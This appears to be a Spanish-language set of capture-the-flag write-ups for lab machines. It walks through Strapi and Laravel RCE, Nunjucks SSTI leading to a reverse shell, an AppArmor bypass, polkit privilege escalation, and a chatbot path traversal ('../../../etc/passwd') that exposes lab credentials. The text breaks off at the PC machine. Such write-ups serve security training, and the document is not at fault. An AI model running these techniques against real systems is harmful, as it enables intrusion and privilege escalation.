Comprobaremos el contenido de estos archivos JS que tienen de nombre app, quizás podamos obtener algún dato interesante. Nos descargaremos el archivo a través de cURL.

Revisaremos el contenido del archivo de JS mediante js-beautifypara verlo en un formato cómodo de JS.

En el contenido del archivo, se hace mención sobre un nuevo subdominio de la página web llamado api-prod.horizontall.htb.

Añadiremos esta nueva entrada en nuestro archivo /etc/hosts.

Accederemos a y comprobaremos el siguiente contenido.

Enumeraremos posibles directorios y páginas webs de esta nuevo subdominio. En el resultado obtenido, comprobamos diferentes páginas y directorios, entre las cuales nos llama la atención las de admin y users.

Accederemos a http://api-prod.horizontall.htb/admin y comprobaremos el siguiente contenido. Se trata de un CMS llamado Strapi.

Strapi es un CMS de código abierto, moderno y flexible que proporciona una solución escalable y personalizable para la gestión de contenido. Está diseñado específicamente para desarrolladores y se basa en tecnologías como Node. js, React y GraphQL.

Probamos de autenticarnos con las posibles credenciales por defecto de Strapi, pero desafortunadamente no logramos obtener acceso.

Initial Access

Strapi CMS 3.0.0-beta.17.4 Exploitation - Remote Code Execution [RCE] (CVE-202¡19-19609)

Herramientas como Wappalyzer o whatweb no nos acababan mostrando la versión del Strapi. Por lo tanto, decidimos intentar comprobar la versión del Strapi a través del código fuente de la propia página web.

En el código fuente de la página web, nos encontramos en diferentes secciones que mencionan Strapi 3.0.0-beta.17.4.

Realizamos una búsqueda a través de searchsploit para verificar la posible existencia de vulnerabilidades conocidas para esta posible versión del CMS.

Verificamos que se nos muestra una vulnerabilidad de Remote Code Execution (RCE) (Unauthenticated) para nuestra versión del CMS que dispone la aplicación web. Esta vulnerabilidad está reportada como CVE-2019-19609.

El framework Strapi versiones anteriores a 3.0.0-beta.17.8, es vulnerable a una Ejecución de Código Remota en los componentes del Plugin de Instalación y Desinstalación del panel de Administración, ya que no sanea el nombre del plugin y los atacantes pueden inyectar comandos de shell arbitrarios para ser ejecutados mediante la función exec.

Realizando una búsqueda por Internet, nos encontramos con el siguiente repositorio de GitHub que nos ofrece la explotación de la vulnerabilidad.

Nos pondremos en escucha con nc para poder obtener la conexión de la Reverse Shell.

A través del exploit que nos hemos descargado, realizaremos la explotación de la vulnerabilidad sobre la página de Strapi vulnerable, para que se nos proporcione una Reverse Shell hacía nuestro equipo.

Verificamos que finalmente logramos realizar la explotación y nos encontramos en el equipo víctima con el usuario strapi. También podemos verificar la flag user.txt.

Al obtener la reverse shell, mejoramos la calidad de la shell con los siguientes pasos para obtener una TTY interactiva.

Privilege Escalation

Information Leakage

Realizando una enumeración del directorio donde nos encontramos, verificamos de la existencia de un archivo database.jsonel cual contiene las credenciales de acceso a la base de datos strapi de MySQL.

Nos conectaremos a través de las credenciales obtenidas, verificaremos las tablas presentes de la base de datos strapi. Entre las tablas enumeradas, nos encontramos una tabla llamada strapi_administrator.

Comprobaremos los datos de la table mencionada y nos encontramos con el hash del usuario admin. Intentamos crackear este hash obtenido, pero no logramos crackearlo.

Discover Internal Web Server (Chisel Port Forwarding)

Revisaremos los puertos internos de la máquina, en el resultado obtenido nos encontramos diferentes puertos abiertos.

Realizamos una comprobación sobre los diferentes puertos encontrados. A través de cURL al realizar una comprobación del puerto 8000, se nos muestra que es una página web con el título de Laravel.

Para comprobar la página web desde nuestro equipo, lo que realizaremos es un Port Forwarding para poder comprobar el puerto interno desde nuestro equipo local. Este práctica lo realizaremos a través de el cual compartiremos a través de un servidor web.

Desde el equipo comprometido, nos descargaremos el binario de chisel y le daremos los permisos de ejecución correspondientes.

Desde nuestro equipo, configuraremos chisel como servidor.

Por otro lado, desde el equipo víctima, deberemos de configurar el chiselpara que actúe como cliente de nuestro servidor y realice el Port Forwarding del puerto interno 8000 para que sea el puerto 8000 de nuestro equipo local.

Desde nuestro navegador accederemos a http://localhost.8000 y comprobaremos que efectivamente se trataba de la interfaz de Laravel.

Laravel es un framework de PHP y es utilizado para desarrollar aplicaciones web. PHP es el lenguaje de programación más utilizado en mundo para desarrollar sitios web, aplicaciones web y los populares CMS, como WordPress o Joomla.

Realizaremos una comprobación de los posibles directorios que se puedan encontrar en la página web. En el resultado obtenido, comprobamos la existencia de /profiles pero nos devuelve un código de estado 500.

Si accedemos a se nos muestra el siguiente mensaje de error, al parecer la aplicación no funciona correctamente en este punto. Exploraremos otras vías.

Laravel 8.4.2 debug mode - Remote Code Execution [RCE] (CVE-2021-3129)

En la página inicial de http://localhost:8000, nos encontrábamos la versión de Laravel la cual al parecer la aplicación web utilizaba Laravel 8.

Por lo tanto, decidimos buscar si existía alguna vulnerabilidad conocida para esta versión en concreto. Nos encontramos con el siguiente resultado, en el cual al parecer en la versión 8.4.2debug modepodíamos intentar obtener un RCE.

Desconocemos la versión exacta de Laravel pero vale la pena intentar comprobar si es vulnerable a esta vulnerabilidad reportada como CVE-2021-3129.

Ignition versiones anteriores a 2.5.2, como es usado en Laravel y otros productos, permite a atacantes remotos no autenticados ejecutar código arbitrario debido a un uso no seguro de las funciones file_get_contents() y file_put_contents(). Esto es explotable en sitios que usan el modo de depuración con Laravel versiones anteriores a 8.4.2

Nos encontramos el repositorio de GitHub de Ambionics en el cual nos muestran el PoC de cómo aprovecharnos de esta vulnerabilidad y de qué consise.

Realizaremos la explotación, crearemos un payload malicioso llamado exploit.phar que ejecute el comando id.

Al realizar la explotación de la vulnerabilidad sobre el Laravel vulnerable, nos encontramos que hemos podido ejecutar comandos arbitrarios y el usuario que ejecuta estos comandos es el usuario root.

Con lo cual, tenemos una gran vía potencial de ejecutar comandos como sudo y poder obtener acceso como root en el equipo.

Deberemos de disponer instalado . PHPGGC es una biblioteca de cargas útiles PHP unserialize() junto con una herramienta para generarlas, desde la línea de comandos o mediante programación.

Nos pondremos en escucha con ncpara recibir la conexión remota.

Crearemos un nuevo archivo exploit.phar que ejecute como comando una Reverse Shell. Ejecutaremos el exploit sobre el Laravel vulnerable.

Verificamos que finalmente logramos obtener acceso al sistema como usuario rooty podemos visualziar la flag root.txt

Por otro lado, también nos encontramos con un repositorio de GitHub que automatiza todo este procedimiento.

Lo único que deberemos de editar en el archivo exploit.py es el contenido de la URL vulnerable y el comando que queremos ejecutar en el sistema.

Lanzamos el exploit y lo primero que realiza es comprobar si tenemos phpgcc instalado en el directorio actual, en caso de que no lo tuviéramos haría la descarga automáticamente. Una vez comprobado, nos ejecutará el comando realizado, en este caso la explotación ha sido exitosa y se muestra le ejecución del comando cat /etc/shadow, como el usuario que ejecuta estos comandos es root, podemos visualizar de este archivo privilegiado.

Nunchucks

Nunchucks es una máquina sencilla que explora una inyección de plantilla del lado del servidor (SSTI) basada en NodeJS que conduce a un error de AppArmor que ignora el perfil de AppArmor del binario mientras ejecuta scripts que incluyen el contenido de la aplicación perfilada.

Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Nunchucks. Este resultado lo almacenaremos en un archivo llamado allPorts.

Transformaremos el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.

Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.

Añadiremos la siguiente entrada en nuestro archivo /etc/hosts.

Web Enumeration

Realizaremos una comprobación de las tecnologías que utiliza el sitio web.

Accederemos a y nos encontramos con la siguiente página web, en la cual en una enumeración básica, no logramos obtener resultado relevante.

Realizamos una enumeración de directorios y páginas web que pudiera tener la página web, nos encontramos con el siguiente resultado.

Disponemos en signup una página de registro de usuarios. Al intentar registrarnos como un nuevo usuarios, se nos indicaba que no podíamos realizar dicha acción.

Subdomain Enumeration

Realizamos una enumeración de subdominios, entre los cuales logramos encontrar un nuevo subdominio llamado store.nunchucks.htb.

Añadiremos esta nueva entrada en nuestro archivo /etc/hosts.

Realizaremos una comprobación de las tecnologías que utiliza el sitio web.

Accedemos a y nos encontramos con la siguiente página web.

Realizamos una enumeración de directorios y archivos a través de feroxbuster y no logramos obtener algún directorio o archivo interesante.

Initial Access

Node.js SSTI (Server Side Template Injection)

Realizando diversas pruebas en la página web, el único campo que nos parece interesante es en el cual nos permite indicar nuestro correo electrónico y posteriormente en el output por parte del servidor se imprime el input introducido.

Con lo cual, nos abre la posibilidad de que quizás exista un Template Engine y podamos intentar realizar un SSTI (Server Side Template Injection).

Revisaremos nuevamente las tecnologías de la página web, y comprobamos que utiliza Node.js como lenguaje de programación.

Intentamos realizar una inyección de SSTI básica, pero se nos indica que debemos introducir un correo válido.

Por lo tanto, para intentar eludir esta restricción, interceptaremos la solicitud con BurpSuite. En la solicitud, verificamos que el input y output se encuentran en un formato JSON

Intentamos realizar la siguiente inyección básica de SSTI para comprobar si era vulnerable. En la respuesta por parte del servidor, comprobamos que se ha interpretado la operación y nos ha aparecido el resultado de 7*7, con lo cual todo parece indicar que podemos realizar el SSTI correctamente.

En el siguiente blog, se nos mencionan diversas técnicas y payloads para identificar el tipo de Template Engine que nos enfrentamos.

A través del siguiente polyglot payload, intentaremos enumerar el tipo de Template Engine. En este caso, solamente pudimos comprobar que se nos mostraba errores JSON, con lo cual nos hace afirmar que detrás quizás esté Node.js como se nos indicaba en el Wappalyzer.

En caso de vulnerabilidad, se puede devolver un mensaje de error o el servidor puede generar una excepción. Esto se puede utilizar para identificar la vulnerabilidad y el motor de plantillas en uso.

Para identificar la vulnerabilidad, se puede seguir la siguiente lista de tareas pendientes:
Detectar dónde existe la inyección de plantillas Identificar el motor de plantillas y validar la vulnerabilidad.
Seguir los manuales del motor de plantillas específico.

Se puede utilizar la siguiente Cheat Sheet para identificar el motor de plantillas en uso:

Code Execution via SSTI (Node.js Nunjucks)

Realizando una búsqueda sobre Node.js SSTI, nos encontramos con el siguiente blog en el cual mencionan la posibilidad de ejecutar comandos arbitrarios remotos a través de SSTI Node.js Nunjucks.

Realizando una búsqueda por Internet, nos encontramos con el siguiente repositorio de GitHub el cual mediante SSTI en Node.js Nunjucks, logra obtener un RCE.

Inyectaremos el siguiente comando para que se nos muestre el contenido del/etc/passwd. Al enviar la solicitud a través de BurpSuite, en la respuesta del servidor se verifica el contenido del archivo del servidor. Con lo cual, queda confirmada la existencia de poder ejecutar comandos arbitrarios a través del SSTI Node.js.

Por lo tanto, podemos intentar realizar la Reverse Shell para conectarnos al equipo de diferentes maneras. En nuestro caso, para no tener problemas con las ', decidimos verificar si el binario de cURL se encontraba disponible en el sistema objetivo.

A través de la siguiente inyección, se verificó que el binario cURL se encontraba instalado en el equipo.

Por lo tanto, en nuestro equipo local crearemos un script sencillo en Bash para que se ejecute la Reverse Shell, este script lo compartiremos a través de un servidor web.

Desde otra terminal, nos pondremos en escucha con nc para recibir la conexión.

Ejecutaremos la siguiente inyección SSTI para que realice un cURL hacía nuestro script de la Reverse Shell y lo ejecute a través de una bash.

Verificamos que finalmente logramos obtener el acceso correspondiente al sistema y visualizar la flag de user.txt.

Al obtener la reverse shell, mejoramos la calidad de la shell con los siguientes pasos para obtener una TTY interactiva.

Privilege Escalation

Attempting to perform Abusing Capabilities (perl) [FAILED]

Revisaremos una comprobación de los grupos y de si disponemos de permisos de sudoers. En este caso, no disponemos de grupos especiales y tampoco podemos comprobar los privilegios sudoers debido que nos requiere proporcionar credenciales del usuario david el cual de momento no disponemos.

Por otro lado, revisamos si había algún binario inusual con privilegios de SUID, no logramos encontrar ninguno. Intentamos también verificar si disponíamos de alguna capabilitie, en el resultado obtenido, nos encontramos la capabilitie /usr/bin/perl = cap_setuid+ep, con la cual podríamos llegar a aprovecharnos para obtener acceso como root.

A través dela herramienta de , revisamos la manera de abusar de esta capabilitie que disponemos.

Revisamos la ubicación del binario perl, accedemos a su directorio y ejecutamos la sintaxis para poder abusar de esta capabilitie, en el primer comando intentamos obtener una Bash como root pero no obtuvimos resultado ninguno.

Intentamos ejecutar el binario para obtener una shell como root, pero no conseguimos una sesión completamente privilegiada. Al ejecutar id, vimos que el UID era root, pero el GID seguía siendo david, lo que impedía elevar nuestros privilegios.

AppArmor Profile Bypass

Realizamos una enumeración con linpeas.sh y nos encontramos que AppArmor se encontraba habilitado en el sistema.

AppArmor es un módulo de seguridad del kernel de Linux que puedes utilizar para restringir las capacidades de los procesos que se ejecutan en el sistema operativo host. Cada proceso puede tener su propio perfil de seguridad.

Por otro lado, también volvemos a verificar la existencia de la capabilitie mencionada.

Al revisar la documentación sobre AppArmor, encontramos información sobre su funcionamiento y la ubicación donde se definen las políticas y restricciones de los binarios. Al analizar /etc/apparmor.d/, detectamos un perfil asociado a /usr/bin/perl, lo que podría limitar su uso en la explotación.

Al revisar el perfil de AppArmor en /etc/apparmor.d/usr.bin.perl, observamos que /usr/bin/perl tiene la capacidad setuid, lo que le permite cambiar el UID del proceso. Sin embargo, existen restricciones clave que limitan su alcance:

Se deniega el acceso de escritura y ejecución a /root/* y /etc/shadow.
No se permite la lectura de /etc/nsswitch.conf.
Se permite la ejecución controlada de algunos binarios como /usr/bin/id

Estas reglas limitan el impacto de la capability setuid, aunque aún es posible evaluar si existen formas de evasión para escalar privilegios.

Investigando en Internet, encontramos un blog donde explicaban cómo realizar un bypass de AppArmor usando un script en Perl. Siguiendo este método, creamos un script en /tmp/gzzcoo.pl, le asignamos permisos de ejecución y lo ejecutamos.

Inicialmente, al ejecutar perl gzzcoo.pl, el sistema devolvió un error de Permission denied. Sin embargo, al ejecutarlo directamente (./gzzcoo.pl), logramos obtener una shell como root y acceder a la flag root.txt.

Este comportamiento indica que AppArmor restringe la ejecución de Perl directamente, pero al ejecutar el script como binario, logramos evadir la restricción y escalar privilegios a root.

Paper

Paper es una máquina Linux sencilla que cuenta con un servidor Apache en los puertos 80 y 443, que sirven las versiones HTTP y HTTPS de un sitio web respectivamente. El sitio web en el puerto 80 devuelve una página web de servidor predeterminada, pero el encabezado de respuesta HTTP revela un dominio oculto. Este dominio oculto ejecuta un blog de WordPress, cuya versión es vulnerable a CVE-2019-17671. Esta vulnerabilidad nos permite ver la información confidencial almacenada en los borradores de las publicaciones del blog, que revelan otra URL que conduce a un sistema de chat para empleados. Este sistema de chat se basa en Rocketchat. Al leer los chats, descubrimos que hay un bot en ejecución al que se puede consultar información específica. Podemos explotar la funcionalidad del bot para obtener la contraseña de un usuario en el sistema. Una enumeración adicional de hosts revela que la versión sudo es vulnerable a CVE-2021-3560 y puede explotarse para elevar privilegios a root.

Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Paper. Este resultado lo almacenaremos en un archivo llamado allPorts.

Transformaremos el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.

Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.

Web Enumeration

Realizaremos una comprobación de las tecnologías que son utilizadas en el sitio web.

Accederemos ay nos encontramos con la siguiente página web que aparentemente no parece ofrecer nada relevante.

Virtual Hosting

Revisamos las cabeceras de la página web, y nos encontramos en la cabecera X-Backend-Server el dominio office.paper. Esto parece indicar que existe un servidor con ese nombre de host.

Añadiremos esta nueva entrada en el archivo /etc/hosts.

Realizaremos una comprobación de las tecnologías que son utilizadas en el sitio web, en este caso, parece que se trata de un WordPress.

Accederemos a http://office.paper y nos encontramos con la siguiente página web en la cual se nos presenta el CMS de WordPress en una versión 5.2.3.

Encontramos una publicación en el blog de WordPress con el título "Feeling Alone!", escrita por el usuario Prisonmike. En ella, menciona que eliminó a otros usuarios del blog y que ahora solo queda su cuenta.

En los comentarios, otro usuario Nick le advierte que debería eliminar "contenido secreto" de sus borradores, ya que no son tan seguros como él cree.

Esto sugiere que los borradores podrían contener información sensible. Como siguiente paso, intentaremos acceder a ellos o buscar credenciales que nos permitan entrar al panel de administración.

Subdomain Enumeration

Realizaremos también una enumeración de subdominios de la página web. En el resultado obtenido, comprobamos la existencia del subdominio chat.office.paper.

Añadiremos esta nueva entrada en nuestro archivo /etc/hosts.

Accederemos a esta nueva página web, y nos encontramos con la interfaz de rocket.chat que nos requiere proporcionar credenciales que actualmente no disponemos.

Rocket. Chat es una plataforma de comunicaciones de código abierto personalizable para organizaciones con altos estándares de protección de datos. Permite conversaciones en tiempo real entre colegas, con otras empresas o con sus clientes, en dispositivos web, de escritorio o móviles.

Initial Access

WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts (CVE-2019-17671)

A través de searchsploit, verificaremos posibles vulnerabilidades conocidas para la versión de WordPress que dispone la página web.

El resultado mostró varias vulnerabilidades, destacando una en particular:

WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts

Esta vulnerabilidad permite visualizar posts privados, protegidos por contraseña o en borrador sin autenticación.

Recordando el comentario de Nick en el blog, donde advertía a Prisonmike sobre la presencia de "contenido secreto" en sus borradores, esta vulnerabilidad podría permitirnos acceder a información sensible si logramos explotarla.

Como siguiente paso, intentaremos reproducir la explotación de esta vulnerabilidad para ver si es posible acceder a los borradores y extraer información útil.

La vulnerabilidad reportada, es identificada mediante el siguiente CVE-2019-17671.

En WordPress anterior a 5.2.4, es posible la visualización no autenticada de cierto contenido porque la propiedad de consulta estática es manejada inapropiadamente.

Realizamos una búsqueda en WPScan para verificar la existencia de la vulnerabilidad y del PoC, y nos encontramos con la prueba de concepto para explotar esta vulnerabilidad.

Al acceder a los borradores, encontramos que los empleados fueron removidos del blog y migrados a un nuevo sistema de chat privado. Además, se descubrió una URL de registro para este sistema:

Este enlace podría permitirnos acceder al chat y obtener más información interna. Como siguiente paso, exploraremos este sistema en busca de credenciales o datos sensibles.

Accederemos a y probaremos de registrarnos como un nuevo usuario.

Especificaremos nuestro nombre de usuario para finalizar el registro.

Al acceder finalmente al rocket.chat, verificamos que pasado un tiempo se nos añade a un canal de grupo llamado general en el cual parecen estar los empleados de la empresa.

Abusing Rocket Chat Bot

Dentro del sistema de chat, encontramos un bot llamado Recvclops, aparentemente desarrollado por Dwight para responder preguntas frecuentes de los empleados. Sin embargo, lo más interesante es que el bot tiene acceso a archivos y directorios en la carpeta "Sales", lo que podría representar una vulnerabilidad si se puede interactuar con él de manera controlada.

Funcionalidades del bot:

Conversación básica: Puede responder preguntas generales sobre Dwight.
Chistes predefinidos: Responde preguntas específicas relacionadas con vendedores.
Acceso a archivos: Permite solicitar el contenido de archivos dentro del directorio Sales.

Esto es particularmente interesante, ya que sugiere que el bot tiene permisos de lectura sobre archivos internos y puede actuar como un canal no autorizado para obtener información del sistema. Como siguiente paso, intentaremos interactuar con el bot para extraer archivos sensibles.

El siguiente paso, fue interactuar con el chatbot, en el cual mediante el comando help nos indicaba el listado de los comandos que podíamos utilizar.

Dado que el chatbot Recvclops tiene acceso a archivos en el directorio Sales, probamos sus funcionalidades de listado y lectura de archivos.

Listar archivos:
- Ejecutamos recyclops list sales y obtuvimos un listado del directorio Sales, lo que sugiere que el bot ejecuta un comando similar a ls.
Leer archivos:

Este comportamiento confirma que el chatbot tiene permisos de lectura en Sales y podría ser explotado para obtener información sensible. Como siguiente paso, probaremos si hay restricciones o formas de evadirlas.

Tras confirmar que el chatbot ejecuta comandos en el sistema, intentamos inyectar instrucciones adicionales utilizando operadores como && y ;. Sin embargo, al hacerlo, recibimos el siguiente mensaje de error:

"Stop injecting OS commands!"

Esto indica que el bot tiene alguna validación para detectar intentos de ejecución de comandos arbitrarios. Como siguiente paso, evaluaremos si hay formas de evadir esta restricción o si podemos manipular la solicitud de otra manera para obtener ejecución de comandos en el sistema.

Tras confirmar que el chatbot ejecuta comandos en el sistema, intentamos acceder a archivos fuera del directorio Sales utilizando secuencias de ../ para movernos en la estructura de directorios.

Al ejecutar recyclops file ../../../etc/passwd, logramos que el bot nos devolviera el contenido del archivo /etc/passwd.
Esto confirma que podemos leer archivos arbitrarios en el sistema, funcionando como una vulnerabilidad de Local File Inclusion (LFI).

Este hallazgo nos brinda una vía potencial para obtener credenciales, configuraciones sensibles o incluso identificar usuarios con acceso al sistema. Como siguiente paso, intentaremos leer otros archivos críticos que puedan ayudarnos a escalar privilegios o comprometer el sistema.

Tras confirmar que podíamos leer archivos arbitrarios con recyclops file, intentamos aprovechar el comando recyclops list para explorar otros directorios:

Ejecutamos recyclops list ../, lo que nos permitió listar el contenido de /home/dwight. Dentro de este directorio, identificamos la presencia del archivo user.txt.
Intentamos leerlo con recyclops file ../user.txt, pero el bot devolvió un error de "Access Denied", indicando que hay restricciones de permisos sobre ciertos archivos.

Ahora que tenemos la capacidad de listar directorios y leer archivos arbitrarios en el sistema, exploraremos otras ubicaciones clave en busca de información sensible o credenciales que nos permitan avanzar en la explotación.

Continuamos explorando el sistema utilizando recyclops list para identificar archivos de interés.

Ejecutamos recyclops list ../hubot, lo que nos permitió listar el contenido del directorio hubot.
Encontramos un archivo .env, que es comúnmente utilizado para almacenar variables de entorno, incluyendo credenciales, claves API y configuraciones sensibles.

Dado que ya hemos demostrado la capacidad de leer archivos arbitrarios, intentaremos acceder al contenido de .env para buscar información que nos ayude a escalar privilegios o comprometer otros servicios en el sistema.

Al ejecutar recyclops file ../hubot/.env, logramos leer el contenido del archivo y encontramos información sensible:

Credenciales del usuario recyclops
- rocketchat_user=recyclops
- rocketchat_passwd=Queenofblad3s!23

Estas credenciales podrían permitirnos acceder a Rocket.Chat con el usuario recyclops, lo que abre la posibilidad de obtener más información, interactuar con otros usuarios o incluso buscar vulnerabilidades dentro del sistema de mensajería. Procederemos a probarlas para evaluar su alcance.

Accederemos a http://chat.office.paper y probaremos de autenticarnos con las credenciales del usuario recyclops encontradas en el archivo anterior.

Al intentar iniciar sesión en Rocket.Chat con las credenciales obtenidas (recyclops:Queenofblad3s!23), nos encontramos con un mensaje de advertencia:

"Nice Try Skynet! Bots are not allowed to login via Web Console!"

Este mensaje indica que el usuario recyclops está configurado como un bot y tiene restricciones para autenticarse a través de la interfaz web

Al aceptar el mensaje anterior, se nos muestra el acceso de recyclops en el rocket.chat, en el cual podemos localizar el chat que tiene abierto con nosotros y con otros usuarios, pero no conseguimos disponer de acceso, ya que inmediatamente se cerraba la sesión.

Dado que el usuario que creó este chatbot era el usuario dwight y dado que nos encontrábamos en su directorio con el chat, probaremos de autenticarnos al SSH.

Verificamos que finalmente logramos obtener el acceso al sistema y logramos visualizar la flag user.txt.

Privilege Escalation

Basic Enumeration

Realizaremos una verificación inicial de los privilegios que dispone el usuario actual. Verificamos que no disponemos de algún grupo interesante ni permisos de sudoers.

Por otro lado, también revisamos binarios con permisos de SUID pero no logramos obtener nada interesante.

Polkit (CVE-2021-3560)

Realizaremos una enumeración con linpeas.sh, este script que se encarga de realizar una enumeración del sistema Linux lo deberemos de disponer en nuestro equipo local.

Compartiremos el script mediante un servidor web.

Desde el equipo comprometido, nos descargaremos el script y le daremos los permisos de ejecución correspondientes.

En el resultado obtenido de la enumeración con linpeas.sh, nos encontramos que la versión de sudo parece ser vulnerable ya que se nos recalca en rojo.

Por otro lado, en el escaneo con linpeas.sh se nos muestra que es vulnerable al siguiente CVE-2021-3560.

Se descubrió que se podía engañar a polkit para que pasara por alto las comprobaciones de credenciales de las solicitudes de D-Bus, elevando los privilegios del solicitante al usuario root. Esta falla podría ser utilizada por un atacante local sin privilegios para, por ejemplo, crear un nuevo administrador local. La mayor amenaza de esta vulnerabilidad es para la confidencialidad e integridad de los datos, así como para la disponibilidad del sistema.

Verificaremos también la versión exacta de sudo a través de los siguientes comandos.

Realizando una búsqueda del exploit. nos encontramos con el repositorio del creador de la máquina Paper en el cual nos ofrecen un script en Bash que realiza la explotación de Polkit.

Nos descargaremos el script poc.shmediante el siguiente comando y lo compartiremos a través de un servidor web.

Desde el equipo vulnerable, nos descargaremos el script de poc.sh que estamos compartiendo y le proporcionaremos los permisos de ejecución.

Realizaremos la explotación de la vulnerabilidad. Esta script básicamente lo que realiza finalmente es crear un usuario que tenga privilegios para posteriormente convertirnos en usuario root.

Probablemente deberemos de repetir el proceso varias veces, ya que no suele funcionar a la primera. A continuación, se muestra que se ha creado el usuariosecnigma correctamente y al acceder con su usuario y ejecutar un sudo bash, finalmente logramos obtener acceso como root y visualizar la flag root.txt

PC

PC es una máquina Linux de dificultad fácil que cuenta con un punto final gRPC que es vulnerable a la inyección SQL. Después de enumerar y volcar el contenido de la base de datos, las credenciales de texto sin formato conducen al acceso SSH a la máquina. Al enumerar los puertos que se ejecutan localmente, se revela una versión obsoleta del servicio pyLoad, que es susceptible a la ejecución remota de código (RCE) previa a la autenticación a través de CVE-2023-0297. Como el servicio lo ejecuta root, explotar esta vulnerabilidad conduce a privilegios completamente elevados.

Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina PC. Este resultado lo almacenaremos en un archivo llamado allPorts.

Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentra el servicio SSH en el puerto 22 expuesto y un servicio llamado grpc en el puerto 50051.

Transformaremos el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.

Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.

gRPC Enumeration with grpcurl and gRPC UI

De los puertos expuestos que se encuentran en la máquina, solamente disponemos del puerto 50051 que corresponde al servicio de gRPC para tratar de buscar alguna vulnerabilidad, poder encontrar información que nos permite acceder al equipo, etc.

gRPC es un sistema de llamada a procedimiento remoto de código abierto desarrollado inicialmente en Google. Utiliza como transporte HTTP/2 y Protocol Buffers como lenguaje de descripción de interfaz.

Realizando una búsqueda por Internet, nos encontramos con el siguiente blog en el cual nos mostraban diferentes técnicas y ejemplos de cómo enumerar el servicio de gRPC en el ámbito del pentest.

Para lograr interactuar con el servicio, decidimos utilizar la herramienta de . En la propia documentación de la herramienta se nos mostraban diferentes ejemplos también del uso.

Al intentar realizar la enumeración, se nos mostraba un mensaje de error indicando que el servidor no respondió con el protocolo TLS, ya que gRPC normalmente funciona con TLS de manera predeterminada.

Realizamos una comprobación del panel de ayuda de la herramienta y comprobamos que tenemos la opción -plaintext para indicar a grpcurlque no utilice TLS.

A través de la directiva list, hemos podido enumerar los servicios del servidor. En este caso, nos encontramos con un servicio llamado SimpleApp y otro denominado ServerReflection.

El servicio ServerReflection permite realizar consultas al servidor para obtener información sobre los servicios disponibles, como los métodos y tipos de mensajes que maneja, sin necesidad de tener acceso previo a los archivos .proto. Esto facilita la introspección dinámica del servidor y nos da visibilidad sobre su estructura, lo cual puede ser clave para interactuar con él de manera efectiva.

Al ejecutar el comando grpcurl para listar los métodos disponibles en el servicio SimpleApp, encontramos las siguientes funciones disponibles:

SimpleApp.LoginUser
SimpleApp.RegisterUser
SimpleApp.getInfo

Estos métodos nos permiten interactuar con el servicio y realizar diversas acciones, como iniciar sesión, registrar usuarios o recuperar información.

Al ejecutar el comando grpcurl para describir el servicio SimpleApp, obtuvimos la siguiente estructura del servicio:

SimpleApp es un servicio que ofrece tres métodos RPC:

LoginUser: Recibe un mensaje de tipo .LoginUserRequest y devuelve un mensaje de tipo .LoginUserResponse.
RegisterUser: Recibe un mensaje de tipo .RegisterUserRequest y devuelve un mensaje de tipo .RegisterUserResponse.

Estos métodos permiten interactuar con el servicio SimpleApp y realizar las operaciones correspondientes de acuerdo a los tipos de mensajes definidos.

Al ejecutar el comando grpcurl para describir los mensajes asociados a los métodos del servicio SimpleApp, obtuvimos la siguiente estructura de mensajes:

LoginUserRequest: Es un mensaje que contiene dos campos:
- username: tipo string
- password

Estos mensajes están estructurados para ser enviados y recibidos durante la ejecución de las funciones del servicio SimpleApp, facilitando la comunicación entre el cliente y el servidor.

Al realizar la solicitud con grpcurl para registrar un nuevo usuario, hemos obtenido la siguiente respuesta.

Esto indica que se ha creado correctamente la cuenta para el usuario gzzcoo1 con la contraseña Gzzcoo123.

Al realizar la solicitud con grpcurl para iniciar sesión con el usuario gzzcoo1 y la contraseña Gzzcoo123, obtuvimos la siguiente respuesta:

message: "Your id is 435."

Además, en los encabezados de la respuesta, se nos entregó un token de autenticación válido:

token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZ3p6Y29vMSIsImV4cCI6MTc0MDAzMTMyNX0.P0skEoAiBqW6BiH6E4m1nOutqPax4bGItF0mg0BPcjo'

Este token está asociado al usuario gzzcoo1 con el id 435 y puede usarse para realizar solicitudes autenticadas en futuras interacciones con el servicio SimpleApp.

La respuesta que recibimos indica que la solicitud para obtener información a través del método getInfo fue rechazada debido a un error de autorización.

Esto significa que necesitamos incluir el token de autenticación en la cabecera de la solicitud para que el servidor nos permita acceder a la información. Podemos hacerlo añadiendo el token que recibimos anteriormente al encabezado token.

Al incluir el token correctamente en la solicitud, hemos recibido la siguiente respuesta, la cual no nos ofrece ningún tipo de información interesante.

Por otro lado, también podemos hacer uso de la herramienta de gRPC UI para realizar los mismos comandos anteriores pero a través de una interfaz web.

Utilizaremos el servicio SimpleApp con el método RegisterUser y trataremos de registrar un usuario nuevo. Para enviar la solicitud le deberemos de dar a la opción de Invoke.

En la respuesta por parte del servidor se nos muestra el mensaje indicando que la cuenta ha sido registrada correctamente, el mismo mensaje que se nos mostraba con grpcurl.

Utilizaremos el método de LoginUser para iniciar sesión con el usuario recién creado, le daremos a Invokenuevamente.

En la respuesta por parte del servidor, se nos muestra la respuesta en la cual nos proporcionan nuestro ID y en el apartado de Response Trailers se nos proporciona el Token correspondiente a nuestro usuario.

Por último, utilizaremos el método de getInfopara probar la funcionalidad de este método. Especificaremos nuestro ID y le añadiremos un nuevo valor Token en el apartado de Request Metadata.

En la respuesta por parte del servidor, se nos muestra el mensaje de Will update soon, tal y como nos aparecía en la herramienta de grpcurl.

Initial Access

SQL Injection in SQLite trough grpcurl (Enumerating Tables, Columns and Data)

